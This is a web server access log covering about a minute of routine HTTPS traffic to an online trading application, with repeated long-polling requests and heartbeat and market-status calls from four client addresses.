[09/Jan/2026:12:13:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932307038 HTTP/1.1" -
[09/Jan/2026:12:13:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932308057 HTTP/1.1" -
[09/Jan/2026:12:13:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932307745 HTTP/1.1" -
[09/Jan/2026:12:13:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932308325 HTTP/1.1" -
[09/Jan/2026:12:13:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932308325 HTTP/1.1" -
[09/Jan/2026:12:14:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932311326 HTTP/1.1" -
[09/Jan/2026:12:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932312196 HTTP/1.1" -
[09/Jan/2026:12:14:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932313080 HTTP/1.1" -
[09/Jan/2026:12:14:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932312962 HTTP/1.1" -
[09/Jan/2026:12:14:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932314325 HTTP/1.1" -
[09/Jan/2026:12:14:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932314325 HTTP/1.1" -
[09/Jan/2026:12:14:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932317338 HTTP/1.1" -
[09/Jan/2026:12:14:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932317352 HTTP/1.1" -
[09/Jan/2026:12:14:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932318125 HTTP/1.1" -
[09/Jan/2026:12:14:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932318253 HTTP/1.1" -
[09/Jan/2026:12:14:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932320334 HTTP/1.1" -
[09/Jan/2026:12:14:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932320334 HTTP/1.1" -
[09/Jan/2026:12:14:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932322528 HTTP/1.1" -
[09/Jan/2026:12:14:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932323164 HTTP/1.1" -
[09/Jan/2026:12:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932323334 HTTP/1.1" -
[09/Jan/2026:12:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932323543 HTTP/1.1" -
[09/Jan/2026:12:14:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932326330 HTTP/1.1" -
[09/Jan/2026:12:14:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932326330 HTTP/1.1" -
[09/Jan/2026:12:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932327725 HTTP/1.1" -
[09/Jan/2026:12:14:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932328208 HTTP/1.1" -
[09/Jan/2026:12:14:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932328772 HTTP/1.1" -
[09/Jan/2026:12:14:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932329327 HTTP/1.1" -
[09/Jan/2026:12:14:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932332335 HTTP/1.1" -
[09/Jan/2026:12:14:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932332335 HTTP/1.1" -
[09/Jan/2026:12:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932332855 HTTP/1.1" -
[09/Jan/2026:12:14:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932333226 HTTP/1.1" -
[09/Jan/2026:12:14:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932334023 HTTP/1.1" -
[09/Jan/2026:12:14:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932335331 HTTP/1.1" -
[09/Jan/2026:12:14:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932338257 HTTP/1.1" -
[09/Jan/2026:12:14:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932338002 HTTP/1.1" -
[09/Jan/2026:12:14:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932338327 HTTP/1.1" -
[09/Jan/2026:12:14:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932338327 HTTP/1.1" -
[09/Jan/2026:12:14:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932339125 HTTP/1.1" -
[09/Jan/2026:12:14:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932341338 HTTP/1.1" -
[09/Jan/2026:12:14:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932343290 HTTP/1.1" -
[09/Jan/2026:12:14:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932343193 HTTP/1.1" -
[09/Jan/2026:12:14:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932344328 HTTP/1.1" -
[09/Jan/2026:12:14:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932344329 HTTP/1.1" -
[09/Jan/2026:12:14:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932344363 HTTP/1.1" -
[09/Jan/2026:12:14:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932347339 HTTP/1.1" -
[09/Jan/2026:12:14:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932348334 HTTP/1.1" -
[09/Jan/2026:12:14:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932348352 HTTP/1.1" -
[09/Jan/2026:12:14:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932349583 HTTP/1.1" -
[09/Jan/2026:12:14:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932350337 HTTP/1.1" -
[09/Jan/2026:12:14:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932350336 HTTP/1.1" -
[09/Jan/2026:12:14:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932353376 HTTP/1.1" -
[09/Jan/2026:12:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932353339 HTTP/1.1" -
[09/Jan/2026:12:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932353484 HTTP/1.1" -
[09/Jan/2026:12:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932354769 HTTP/1.1" -
[09/Jan/2026:12:14:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932356341 HTTP/1.1" -
[09/Jan/2026:12:14:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932356341 HTTP/1.1" -
[09/Jan/2026:12:14:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:14:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932358424 HTTP/1.1" -
[09/Jan/2026:12:14:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932358617 HTTP/1.1" -
[09/Jan/2026:12:14:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932359336 HTTP/1.1" -
[09/Jan/2026:12:14:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932360037 HTTP/1.1" -
[09/Jan/2026:12:14:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932362327 HTTP/1.1" -
